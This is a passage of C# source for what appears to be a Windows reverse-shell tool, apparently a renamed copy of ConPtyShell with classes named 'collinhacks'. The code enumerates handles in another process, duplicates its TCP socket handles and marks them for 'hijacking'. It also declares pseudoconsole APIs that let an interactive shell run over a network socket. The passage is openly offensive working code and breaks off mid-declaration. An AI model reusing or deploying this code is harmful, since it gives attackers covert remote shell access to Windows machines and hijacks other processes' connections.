0x1f0003; private const int SynchronizationEvent = 1; private const UInt32 INFINITE = 0xFFFFFFFF; private enum SOCKET_STATE : uint { SocketOpen = 0, SocketBound = 1, SocketBoundUdp = 2, SocketConnected = 3, SocketClosed = 3 } private enum AFD_GROUP_TYPE : uint { GroupTypeNeither = 0, GroupTypeConstrained = SG_CONSTRAINED_GROUP, GroupTypeUnconstrained = SG_UNCONSTRAINED_GROUP } public enum OBJECT_INFORMATION_CLASS : int { ObjectBasicInformation = 0, ObjectNameInformation = 1, ObjectTypeInformation = 2, ObjectAllTypesInformation = 3, ObjectHandleInformation = 4 } [StructLayout(LayoutKind.Sequential, Pack = 1)] private struct SYSTEM_HANDLE_TABLE_ENTRY_INFO { public ushort UniqueProcessId; public ushort CreatorBackTraceIndex; public byte ObjectTypeIndex; public byte HandleAttributes; public ushort HandleValue; public IntPtr Object; public IntPtr GrantedAccess; } [StructLayout(LayoutKind.Sequential)] private struct GENERIC_MAPPING { public int GenericRead; public int GenericWrite; public int GenericExecute; public int GenericAll; } [StructLayout(LayoutKind.Sequential, Pack = 1)] private struct OBJECT_TYPE_INFORMATION_V2 { public UNICODE_STRING TypeName; public uint TotalNumberOfObjects; public uint TotalNumberOfHandles; public uint TotalPagedPoolUsage; public uint TotalNonPagedPoolUsage; public uint TotalNamePoolUsage; public uint TotalHandleTableUsage; public uint HighWaterNumberOfObjects;// PeakObjectCount; public uint HighWaterNumberOfHandles;// PeakHandleCount; public uint HighWaterPagedPoolUsage; public uint HighWaterNonPagedPoolUsage; public uint HighWaterNamePoolUsage; public uint HighWaterHandleTableUsage; public uint InvalidAttributes; public GENERIC_MAPPING GenericMapping; public uint ValidAccessMask; public byte SecurityRequired;//bool public byte MaintainHandleCount;//bool public byte TypeIndex; public byte ReservedByte; public uint PoolType; public uint DefaultPagedPoolCharge;// PagedPoolUsage; public uint DefaultNonPagedPoolCharge;//NonPagedPoolUsage; } [StructLayout(LayoutKind.Sequential, Pack = 1)] private struct OBJECT_NAME_INFORMATION { public UNICODE_STRING Name; } [StructLayout(LayoutKind.Sequential)] private struct UNICODE_STRING { public ushort Length; public ushort MaximumLength; public IntPtr Buffer; } [StructLayout(LayoutKind.Sequential)] private struct WSAData { public short wVersion; public short wHighVersion; public short iMaxSockets; public short iMaxUdpDg; public IntPtr lpVendorInfo; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)] public string szDescription; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)] public string szSystemStatus; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] private struct WSAPROTOCOLCHAIN { public int ChainLen; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 7)] public uint[] ChainEntries; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] private struct WSAPROTOCOL_INFO { public uint dwServiceFlags1; public uint dwServiceFlags2; public uint dwServiceFlags3; public uint dwServiceFlags4; public uint dwProviderFlags; public Guid ProviderId; public uint dwCatalogEntryId; public WSAPROTOCOLCHAIN ProtocolChain; public int iVersion; public int iAddressFamily; public int iMaxSockAddr; public int iMinSockAddr; public int iSocketType; public int iProtocol; public int iProtocolMaxOffset; public int iNetworkByteOrder; public int iSecurityScheme; public uint dwMessageSize; public uint dwProviderReserved; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)] public string szProtocol; } [StructLayout(LayoutKind.Sequential)] private struct SOCKADDR_IN { public short sin_family; public short sin_port; public uint sin_addr; public long sin_zero; } [StructLayout(LayoutKind.Sequential)] private struct TCP_INFO_v0 { public TcpState State; public UInt32 Mss; public UInt64 ConnectionTimeMs; public byte TimestampsEnabled; public UInt32 RttUs; public UInt32 MinRttUs; public UInt32 BytesInFlight; public UInt32 Cwnd; public UInt32 SndWnd; public UInt32 RcvWnd; public UInt32 RcvBuf; public UInt64 BytesOut; public UInt64 BytesIn; public UInt32 BytesReordered; public UInt32 BytesRetrans; public UInt32 FastRetrans; public UInt32 DupAcksIn; public UInt32 TimeoutEpisodes; public byte SynRetrans; } [StructLayout(LayoutKind.Sequential)] private struct linger { public UInt16 l_onoff; public UInt16 l_linger; } [StructLayout(LayoutKind.Sequential, Pack = 0)] private struct IO_STATUS_BLOCK { public int status; public IntPtr information; } [StructLayout(LayoutKind.Sequential)] private struct SOCK_SHARED_INFO { public SOCKET_STATE State; public Int32 AddressFamily; public Int32 SocketType; public Int32 Protocol; public Int32 LocalAddressLength; public Int32 RemoteAddressLength; // Socket options controlled by getsockopt(), setsockopt(). public linger LingerInfo; public UInt32 SendTimeout; public UInt32 ReceiveTimeout; public UInt32 ReceiveBufferSize; public UInt32 SendBufferSize; /* Those are the bits in the SocketProerty, proper order: Listening; Broadcast; Debug; OobInline; ReuseAddresses; ExclusiveAddressUse; NonBlocking; DontUseWildcard; ReceiveShutdown; SendShutdown; ConditionalAccept; */ public ushort SocketProperty; // Snapshot of several parameters passed into WSPSocket() when creating this socket public UInt32 CreationFlags; public UInt32 CatalogEntryId; public UInt32 ServiceFlags1; public UInt32 ProviderFlags; public UInt32 GroupID; public AFD_GROUP_TYPE GroupType; public Int32 GroupPriority; // Last error set on this socket public Int32 LastError; // Info stored for WSAAsyncSelect() public IntPtr AsyncSelecthWnd; public UInt32 AsyncSelectSerialNumber; public UInt32 AsyncSelectwMsg; public Int32 AsyncSelectlEvent; public Int32 DisabledAsyncSelectEvents; } [StructLayout(LayoutKind.Sequential)] private struct SOCKADDR { public UInt16 sa_family; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 14)] public byte[] sa_data; } [StructLayout(LayoutKind.Sequential)] private struct SOCKET_CONTEXT { public SOCK_SHARED_INFO SharedData; public UInt32 SizeOfHelperData; public UInt32 Padding; public SOCKADDR LocalAddress; public SOCKADDR RemoteAddress; // Helper Data - found out with some reversing [MarshalAs(UnmanagedType.ByValArray, SizeConst = 24)] public byte[] HelperData; } private struct SOCKET_BYTESIN { public IntPtr handle; public UInt64 BytesIn; } [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)] private static extern int WSADuplicateSocket(IntPtr socketHandle, int processId, ref WSAPROTOCOL_INFO pinnedBuffer); [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true, CallingConvention = CallingConvention.StdCall)] private static extern IntPtr WSASocket([In] int addressFamily, [In] int socketType, [In] int protocolType, ref WSAPROTOCOL_INFO lpProtocolInfo, Int32 group1, int dwFlags); [DllImport("ws2_32.dll", CharSet = CharSet.Auto)] private static extern Int32 WSAGetLastError(); [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true, CallingConvention = CallingConvention.StdCall)] private static extern int getpeername(IntPtr s, ref SOCKADDR_IN name, ref int namelen); // WSAIoctl1 implementation specific for SIO_TCP_INFO control code [DllImport("Ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true, EntryPoint = "WSAIoctl")] public static extern int WSAIoctl1(IntPtr s, int dwIoControlCode, ref UInt32 lpvInBuffer, int cbInBuffer, IntPtr lpvOutBuffer, int cbOutBuffer, ref int lpcbBytesReturned, IntPtr lpOverlapped, IntPtr lpCompletionRoutine); [DllImport("ws2_32.dll", CharSet = CharSet.Unicode, SetLastError = true)] private static extern int closesocket(IntPtr s); [DllImport("kernel32.dll", SetLastError = true)] private static extern IntPtr OpenProcess(int processAccess, bool bInheritHandle, int processId); [DllImport("kernel32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions); [DllImport("kernel32.dll")] private static extern bool CloseHandle(IntPtr hObject); [DllImport("kernel32.dll")] private static extern IntPtr GetCurrentProcess(); [DllImport("ntdll.dll")] private static extern uint NtQueryObject(IntPtr objectHandle, OBJECT_INFORMATION_CLASS informationClass, IntPtr informationPtr, uint informationLength, ref int returnLength); [DllImport("ntdll.dll")] private static extern uint NtQuerySystemInformation(int SystemInformationClass, IntPtr SystemInformation, int SystemInformationLength, ref int returnLength); [DllImport("kernel32.dll", SetLastError = true)] private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); [DllImport("ntdll.dll")] private static extern int NtCreateEvent(ref IntPtr EventHandle, int DesiredAccess, IntPtr ObjectAttributes, int EventType, bool InitialState); // NtDeviceIoControlFile1 implementation specific for IOCTL_AFD_GET_CONTEXT IoControlCode [DllImport("ntdll.dll", EntryPoint = "NtDeviceIoControlFile")] private static extern int NtDeviceIoControlFile1(IntPtr FileHandle, IntPtr Event, IntPtr ApcRoutine, IntPtr ApcContext, ref IO_STATUS_BLOCK IoStatusBlock, uint IoControlCode, IntPtr InputBuffer, int InputBufferLength, ref SOCKET_CONTEXT OutputBuffer, int OutputBufferLength); [DllImport("Ws2_32.dll")] public static extern int ioctlsocket(IntPtr s, int cmd, ref int argp); //helper method with "dynamic" buffer allocation private static IntPtr NtQuerySystemInformationDynamic(int infoClass, int infoLength) { if (infoLength == 0) infoLength = 0x10000; IntPtr infoPtr = Marshal.AllocHGlobal(infoLength); while (true) { uint result = (uint)NtQuerySystemInformation(infoClass, infoPtr, infoLength, ref infoLength); infoLength = infoLength * 2; if (result == NTSTATUS_SUCCESS) return infoPtr; Marshal.FreeHGlobal(infoPtr); //free pointer when not Successful if (result != NTSTATUS_INFOLENGTHMISMATCH && result != NTSTATUS_BUFFEROVERFLOW && result != NTSTATUS_BUFFERTOOSMALL) { //throw new Exception("Unhandled NtStatus " + result); return IntPtr.Zero; } infoPtr = Marshal.AllocHGlobal(infoLength); } } private static IntPtr QueryObjectTypesInfo() { IntPtr ptrObjectTypesInformation = IntPtr.Zero; ptrObjectTypesInformation = NtQueryObjectDynamic(IntPtr.Zero, OBJECT_INFORMATION_CLASS.ObjectAllTypesInformation, 0); return ptrObjectTypesInformation; } // this from --> https://github.com/hfiref0x/UACME/blob/master/Source/Shared/ntos.h private static long AlignUp(long address, long align) { return (((address) + (align) - 1) & ~((align) - 1)); } // this works only from win8 and above. If you need a more generic solution you need to use the (i+2) "way" of counting index types. // credits for this goes to @0xrepnz // more information here --> https://twitter.com/splinter_code/status/1400873009121013765 private static byte GetTypeIndexByName(string ObjectName) { byte TypeIndex = 0; long TypesCount = 0; IntPtr ptrTypesInfo = IntPtr.Zero; ptrTypesInfo = QueryObjectTypesInfo(); TypesCount = Marshal.ReadIntPtr(ptrTypesInfo).ToInt64(); // create a pointer to the first element address of OBJECT_TYPE_INFORMATION_V2 IntPtr ptrTypesInfoCurrent = new IntPtr(ptrTypesInfo.ToInt64() + IntPtr.Size); for (int i = 0; i < TypesCount; i++) { OBJECT_TYPE_INFORMATION_V2 Type = (OBJECT_TYPE_INFORMATION_V2)Marshal.PtrToStructure(ptrTypesInfoCurrent, typeof(OBJECT_TYPE_INFORMATION_V2)); // move pointer to next the OBJECT_TYPE_INFORMATION_V2 object ptrTypesInfoCurrent = (IntPtr)(ptrTypesInfoCurrent.ToInt64() + AlignUp(Type.TypeName.MaximumLength, (long)IntPtr.Size) + Marshal.SizeOf(typeof(OBJECT_TYPE_INFORMATION_V2))); if (Type.TypeName.Length > 0 && Marshal.PtrToStringUni(Type.TypeName.Buffer, Type.TypeName.Length / 2) == ObjectName) { TypeIndex = Type.TypeIndex; break; } } Marshal.FreeHGlobal(ptrTypesInfo); return TypeIndex; } private static List<IntPtr> DuplicateSocketsFromHandles(List<IntPtr> sockets) { List<IntPtr> dupedSocketsOut = new List<IntPtr>(); if (sockets.Count < 1) return dupedSocketsOut; foreach (IntPtr sock in sockets) { IntPtr dupedSocket = DuplicateSocketFromHandle(sock); if (dupedSocket != IntPtr.Zero) dupedSocketsOut.Add(dupedSocket); } // cleaning all socket handles foreach (IntPtr sock in sockets) CloseHandle(sock); return dupedSocketsOut; } private static List<IntPtr> FilterAndOrderSocketsByBytesIn(List<IntPtr> sockets) { List<SOCKET_BYTESIN> socketsBytesIn = new List<SOCKET_BYTESIN>(); List<IntPtr> socketsOut = new List<IntPtr>(); foreach (IntPtr sock in sockets) { TCP_INFO_v0 sockInfo = new TCP_INFO_v0(); if (!GetSocketTcpInfo(sock, out sockInfo)) { closesocket(sock); continue; } // Console.WriteLine("debug: Socket handle 0x" + sock.ToString("X4") + " is in tcpstate " + sockInfo.State.ToString()); // we need only active sockets, the remaing sockets are filtered out if (sockInfo.State == TcpState.SynReceived || sockInfo.State == TcpState.Established) { SOCKET_BYTESIN sockBytesIn = new SOCKET_BYTESIN(); sockBytesIn.handle = sock; sockBytesIn.BytesIn = sockInfo.BytesIn; socketsBytesIn.Add(sockBytesIn); } else closesocket(sock); } if (socketsBytesIn.Count < 1) return socketsOut; if (socketsBytesIn.Count >= 2) // ordering for fewer bytes received by the sockets we have a higher chance to get the proper socket socketsBytesIn.Sort(delegate (SOCKET_BYTESIN a, SOCKET_BYTESIN b) { return (a.BytesIn.CompareTo(b.BytesIn)); }); foreach (SOCKET_BYTESIN sockBytesIn in socketsBytesIn) { socketsOut.Add(sockBytesIn.handle); // Console.WriteLine("debug: Socket handle 0x" + sockBytesIn.handle.ToString("X4") + " total bytes received: " + sockBytesIn.BytesIn.ToString()); } return socketsOut; } private static bool GetSocketTcpInfo(IntPtr socket, out TCP_INFO_v0 tcpInfoOut) { int result = -1; UInt32 tcpInfoVersion = 0; int bytesReturned = 0; int tcpInfoSize = Marshal.SizeOf(typeof(TCP_INFO_v0)); IntPtr tcpInfoPtr = Marshal.AllocHGlobal(tcpInfoSize); result = WSAIoctl1(socket, SIO_TCP_INFO, ref tcpInfoVersion, Marshal.SizeOf(tcpInfoVersion), tcpInfoPtr, tcpInfoSize, ref bytesReturned, IntPtr.Zero, IntPtr.Zero); if (result != 0) { // Console.WriteLine("debug: WSAIoctl1 failed with return code " + result.ToString() + " and wsalasterror: " + WSAGetLastError().ToString()); tcpInfoOut = new TCP_INFO_v0(); return false; } TCP_INFO_v0 tcpInfoV0 = (TCP_INFO_v0)Marshal.PtrToStructure(tcpInfoPtr, typeof(TCP_INFO_v0)); tcpInfoOut = tcpInfoV0; Marshal.FreeHGlobal(tcpInfoPtr); return true; } // this function take a raw handle to a \Device\Afd object as a parameter and returns a handle to a duplicated socket private static IntPtr DuplicateSocketFromHandle(IntPtr socketHandle) { IntPtr retSocket = IntPtr.Zero; IntPtr duplicatedSocket = IntPtr.Zero; WSAPROTOCOL_INFO wsaProtocolInfo = new WSAPROTOCOL_INFO(); int status = WSADuplicateSocket(socketHandle, Process.GetCurrentProcess().Id, ref wsaProtocolInfo); if (status == 0) { // we need an overlapped socket for the conpty process but we don't need to specify the WSA_FLAG_OVERLAPPED flag here because it will be ignored (and automatically set) by WSASocket() function if we set the WSAPROTOCOL_INFO structure and if the original socket has been created with the overlapped flag. duplicatedSocket = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, ref wsaProtocolInfo, 0, 0); if (duplicatedSocket.ToInt64() > 0) { retSocket = duplicatedSocket; } } return retSocket; } //helper method with "dynamic" buffer allocation public static IntPtr NtQueryObjectDynamic(IntPtr handle, OBJECT_INFORMATION_CLASS infoClass, int infoLength) { if (infoLength == 0) infoLength = Marshal.SizeOf(typeof(int)); IntPtr infoPtr = Marshal.AllocHGlobal(infoLength); uint result; while (true) { result = (uint)NtQueryObject(handle, infoClass, infoPtr, (uint)infoLength, ref infoLength); if (result == NTSTATUS_INFOLENGTHMISMATCH || result == NTSTATUS_BUFFEROVERFLOW || result == NTSTATUS_BUFFERTOOSMALL) { Marshal.FreeHGlobal(infoPtr); infoPtr = Marshal.AllocHGlobal((int)infoLength); continue; } else if (result == NTSTATUS_SUCCESS) break; else { //throw new Exception("Unhandled NtStatus " + result); break; } } if (result == NTSTATUS_SUCCESS) return infoPtr;//don't forget to free the pointer with Marshal.FreeHGlobal after you're done with it else Marshal.FreeHGlobal(infoPtr);//free pointer when not Successful return IntPtr.Zero; } public static List<IntPtr> GetSocketsTargetProcess(Process targetProcess) { OBJECT_NAME_INFORMATION objNameInfo; long HandlesCount = 0; IntPtr dupHandle; IntPtr ptrObjectName; IntPtr ptrHandlesInfo; IntPtr hTargetProcess; string strObjectName; List<IntPtr> socketsHandles = new List<IntPtr>(); DeadlockCheckHelper deadlockCheckHelperObj = new DeadlockCheckHelper(); hTargetProcess = OpenProcess(PROCESS_DUP_HANDLE, false, targetProcess.Id); if (hTargetProcess == IntPtr.Zero) { Console.WriteLine("Cannot open target process with pid " + targetProcess.Id.ToString() + " for DuplicateHandle access"); return socketsHandles; } ptrHandlesInfo = NtQuerySystemInformationDynamic(SystemHandleInformation, 0); HandlesCount = Marshal.ReadIntPtr(ptrHandlesInfo).ToInt64(); // create a pointer at the beginning of the address of SYSTEM_HANDLE_TABLE_ENTRY_INFO[] IntPtr ptrHandlesInfoCurrent = new IntPtr(ptrHandlesInfo.ToInt64() + IntPtr.Size); // get TypeIndex for "File" objects, needed to filter only sockets objects byte TypeIndexFileObject = GetTypeIndexByName("File"); for (int i = 0; i < HandlesCount; i++) { SYSTEM_HANDLE_TABLE_ENTRY_INFO sysHandle; try { sysHandle = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)Marshal.PtrToStructure(ptrHandlesInfoCurrent, typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO)); } catch { break; } //move pointer to next SYSTEM_HANDLE_TABLE_ENTRY_INFO ptrHandlesInfoCurrent = (IntPtr)(ptrHandlesInfoCurrent.ToInt64() + Marshal.SizeOf(typeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO))); if (sysHandle.UniqueProcessId != targetProcess.Id || sysHandle.ObjectTypeIndex != TypeIndexFileObject) continue; if (DuplicateHandle(hTargetProcess, (IntPtr)sysHandle.HandleValue, GetCurrentProcess(), out dupHandle, 0, false, DUPLICATE_SAME_ACCESS)) { if (deadlockCheckHelperObj.CheckDeadlockDetected(dupHandle)) { // this will avoids deadlocks on special named pipe handles // Console.WriteLine("debug: Deadlock detected"); CloseHandle(dupHandle); continue; } ptrObjectName = NtQueryObjectDynamic(dupHandle, OBJECT_INFORMATION_CLASS.ObjectNameInformation, 0); if (ptrObjectName == IntPtr.Zero) { CloseHandle(dupHandle); continue; } try { objNameInfo = (OBJECT_NAME_INFORMATION)Marshal.PtrToStructure(ptrObjectName, typeof(OBJECT_NAME_INFORMATION)); } catch { CloseHandle(dupHandle); continue; } if (objNameInfo.Name.Buffer != IntPtr.Zero && objNameInfo.Name.Length > 0) { strObjectName = Marshal.PtrToStringUni(objNameInfo.Name.Buffer, objNameInfo.Name.Length / 2); // Console.WriteLine("debug: file handle 0x" + dupHandle.ToString("X4") + " strObjectName = " + strObjectName); if (strObjectName == "\\Device\\Afd") socketsHandles.Add(dupHandle); else CloseHandle(dupHandle); } else CloseHandle(dupHandle); Marshal.FreeHGlobal(ptrObjectName); ptrObjectName = IntPtr.Zero; } } Marshal.FreeHGlobal(ptrHandlesInfo); List<IntPtr> dupedSocketsHandles = DuplicateSocketsFromHandles(socketsHandles); if (dupedSocketsHandles.Count >= 1) dupedSocketsHandles = FilterAndOrderSocketsByBytesIn(dupedSocketsHandles); socketsHandles = dupedSocketsHandles; return socketsHandles; } public static bool IsSocketInherited(IntPtr socketHandle, Process parentProcess) { bool inherited = false; List<IntPtr> parentSocketsHandles = GetSocketsTargetProcess(parentProcess); if (parentSocketsHandles.Count < 1) return inherited; foreach (IntPtr parentSocketHandle in parentSocketsHandles) { SOCKADDR_IN sockaddrTargetProcess = new SOCKADDR_IN(); SOCKADDR_IN sockaddrParentProcess = new SOCKADDR_IN(); int sockaddrTargetProcessLen = Marshal.SizeOf(sockaddrTargetProcess); int sockaddrParentProcessLen = Marshal.SizeOf(sockaddrParentProcess); if ( (getpeername(socketHandle, ref sockaddrTargetProcess, ref sockaddrTargetProcessLen) == 0) && (getpeername(parentSocketHandle, ref sockaddrParentProcess, ref sockaddrParentProcessLen) == 0) && (sockaddrTargetProcess.sin_addr == sockaddrParentProcess.sin_addr && sockaddrTargetProcess.sin_port == sockaddrParentProcess.sin_port) ) { // Console.WriteLine("debug: found inherited socket! handle --> 0x" + parentSocketHandle.ToString("X4")); inherited = true; } closesocket(parentSocketHandle); } return inherited; } public static bool IsSocketOverlapped(IntPtr socket) { bool ret = false; IntPtr sockEvent = IntPtr.Zero; int ntStatus = -1; SOCKET_CONTEXT contextData = new SOCKET_CONTEXT(); ntStatus = NtCreateEvent(ref sockEvent, EVENT_ALL_ACCESS, IntPtr.Zero, SynchronizationEvent, false); if (ntStatus != NTSTATUS_SUCCESS) { // Console.WriteLine("debug: NtCreateEvent failed with error code 0x" + ntStatus.ToString("X8")); ; return ret; } IO_STATUS_BLOCK IOSB = new IO_STATUS_BLOCK(); ntStatus = NtDeviceIoControlFile1(socket, sockEvent, IntPtr.Zero, IntPtr.Zero, ref IOSB, IOCTL_AFD_GET_CONTEXT, IntPtr.Zero, 0, ref contextData, Marshal.SizeOf(contextData)); // Wait for Completion if (ntStatus == NTSTATUS_PENDING) { WaitForSingleObject(sockEvent, INFINITE); ntStatus = IOSB.status; } CloseHandle(sockEvent); if (ntStatus != NTSTATUS_SUCCESS) { // Console.WriteLine("debug: NtDeviceIoControlFile failed with error code 0x" + ntStatus.ToString("X8")); ; return ret; } if ((contextData.SharedData.CreationFlags & WSA_FLAG_OVERLAPPED) != 0) ret = true; return ret; } public static IntPtr DuplicateTargetProcessSocket(Process targetProcess, ref bool overlappedSocket) { IntPtr targetSocketHandle = IntPtr.Zero; List<IntPtr> targetProcessSockets = GetSocketsTargetProcess(targetProcess); if (targetProcessSockets.Count < 1) return targetSocketHandle; else { foreach (IntPtr socketHandle in targetProcessSockets) { // we prioritize the hijacking of Overlapped sockets if (!IsSocketOverlapped(socketHandle)) { // Console.WriteLine("debug: Found a usable socket, but it has not been created with the flag WSA_FLAG_OVERLAPPED, skipping..."); continue; } targetSocketHandle = socketHandle; overlappedSocket = true; break; } // no Overlapped sockets found, expanding the scope by including also Non-Overlapped sockets if (targetSocketHandle == IntPtr.Zero) { // Console.WriteLine("debug: No overlapped sockets found. Trying to return also non-overlapped sockets..."); foreach (IntPtr socketHandle in targetProcessSockets) { targetSocketHandle = socketHandle; if (!IsSocketOverlapped(targetSocketHandle)) overlappedSocket = false; break; } } } if (targetSocketHandle == IntPtr.Zero) throw new collinhacksException("No sockets found, so no hijackable sockets :( Exiting..."); return targetSocketHandle; } public static void SetSocketBlockingMode(IntPtr socket, int mode) { int FIONBIO = -2147195266; int NonBlockingMode = 1; int BlockingMode = 0; int result; if (mode == 1) result = ioctlsocket(socket, FIONBIO, ref NonBlockingMode); else result = ioctlsocket(socket, FIONBIO, ref BlockingMode); if (result == -1) throw new collinhacksException("ioctlsocket failed with return code " + result.ToString() + " and wsalasterror: " + WSAGetLastError().ToString()); } } // source from --> https://stackoverflow.com/a/3346055 [StructLayout(LayoutKind.Sequential)] public struct ParentProcessUtilities { // These members must match PROCESS_BASIC_INFORMATION internal IntPtr Reserved1; internal IntPtr PebBaseAddress; internal IntPtr Reserved2_0; internal IntPtr Reserved2_1; internal IntPtr UniqueProcessId; internal IntPtr InheritedFromUniqueProcessId; [DllImport("ntdll.dll")] private static extern int NtQueryInformationProcess(IntPtr processHandle, int processInformationClass, ref ParentProcessUtilities processInformation, int processInformationLength, out int returnLength); public static Process GetParentProcess() { return GetParentProcess(Process.GetCurrentProcess().Handle); } public static Process GetParentProcess(int id) { Process process = Process.GetProcessById(id); return GetParentProcess(process.Handle); } public static Process GetParentProcess(IntPtr handle) { ParentProcessUtilities pbi = new ParentProcessUtilities(); int returnLength; int status = NtQueryInformationProcess(handle, 0, ref pbi, Marshal.SizeOf(pbi), out returnLength); if (status != 0) throw new collinhacksException(status.ToString()); try { return Process.GetProcessById(pbi.InheritedFromUniqueProcessId.ToInt32()); } catch (ArgumentException) { // not found return null; } } } public static class collinhacks { private const string errorString = "{{{collinhacksException}}}\r\n"; private const uint ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004; private const uint DISABLE_NEWLINE_AUTO_RETURN = 0x0008; private const uint PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE = 0x00020016; private const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000; private const int STARTF_USESTDHANDLES = 0x00000100; private const int BUFFER_SIZE_PIPE = 1048576; private const int WSA_FLAG_OVERLAPPED = 0x1; private const UInt32 INFINITE = 0xFFFFFFFF; private const int SW_HIDE = 0; private const uint GENERIC_READ = 0x80000000; private const uint GENERIC_WRITE = 0x40000000; private const uint FILE_SHARE_READ = 0x00000001; private const uint FILE_SHARE_WRITE = 0x00000002; private const uint FILE_ATTRIBUTE_NORMAL = 0x80; private const uint OPEN_EXISTING = 3; private const int STD_INPUT_HANDLE = -10; private const int STD_OUTPUT_HANDLE = -11; private const int STD_ERROR_HANDLE = -12; private const int WSAEWOULDBLOCK = 10035; private const int FD_READ = (1 << 0); [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] private struct STARTUPINFOEX { public STARTUPINFO StartupInfo; public IntPtr lpAttributeList; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] private struct STARTUPINFO { public Int32 cb; public string lpReserved; public string lpDesktop; public string lpTitle; public Int32 dwX; public Int32 dwY; public Int32 dwXSize; public Int32 dwYSize; public Int32 dwXCountChars; public Int32 dwYCountChars; public Int32 dwFillAttribute; public Int32 dwFlags; public Int16 wShowWindow; public Int16 cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] private struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; } [StructLayout(LayoutKind.Sequential)] private struct SECURITY_ATTRIBUTES { public int nLength; public IntPtr lpSecurityDescriptor; public int bInheritHandle; } [StructLayout(LayoutKind.Sequential)] private struct COORD { public short X; public short Y; } [StructLayout(LayoutKind.Sequential)] private struct WSAData { public short wVersion; public short wHighVersion; public short iMaxSockets; public short iMaxUdpDg; public IntPtr lpVendorInfo; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)] public string szDescription; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)] public string szSystemStatus; } [StructLayout(LayoutKind.Sequential)] private struct SOCKADDR_IN { public short sin_family; public short sin_port; public uint sin_addr; public long sin_zero; } [DllImport("kernel32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize); [DllImport("kernel32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize); [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, EntryPoint = "CreateProcess")] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool CreateProcessEx(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, EntryPoint = "CreateProcess")] private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("kernel32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode); [DllImport("kernel32.dll", SetLastError = true)] private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); [DllImport("kernel32.dll", SetLastError = true)] private static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle); [DllImport("kernel32.dll", SetLastError = true)] private static extern IntPtr GetStdHandle(int nStdHandle); [DllImport("kernel32.dll", SetLastError = true)] private static extern bool CloseHandle(IntPtr hObject); [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, ref SECURITY_ATTRIBUTES lpPipeAttributes, int nSize); [DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)] private static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr SecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile); [DllImport("kernel32.dll", SetLastError = true)] private static extern bool ReadFile(IntPtr hFile, [Out] byte[] lpBuffer, uint nNumberOfBytesToRead, out uint lpNumberOfBytesRead, IntPtr lpOverlapped); [DllImport("kernel32.dll", SetLastError = true)] private static extern bool WriteFile(IntPtr hFile, byte[] lpBuffer, uint nNumberOfBytesToWrite, out uint lpNumberOfBytesWritten, IntPtr lpOverlapped); [DllImport("kernel32.dll", SetLastError = true)] private static extern int CreatePseudoConsole(COORD size, IntPtr hInput, IntPtr hOutput, uint dwFlags, out IntPtr phPC); [DllImport("kernel32.dll", SetLastError = true)] private static extern int ClosePseudoConsole(IntPtr hPC); [DllImport("kernel32.dll", SetLastError = true)] private static extern bool 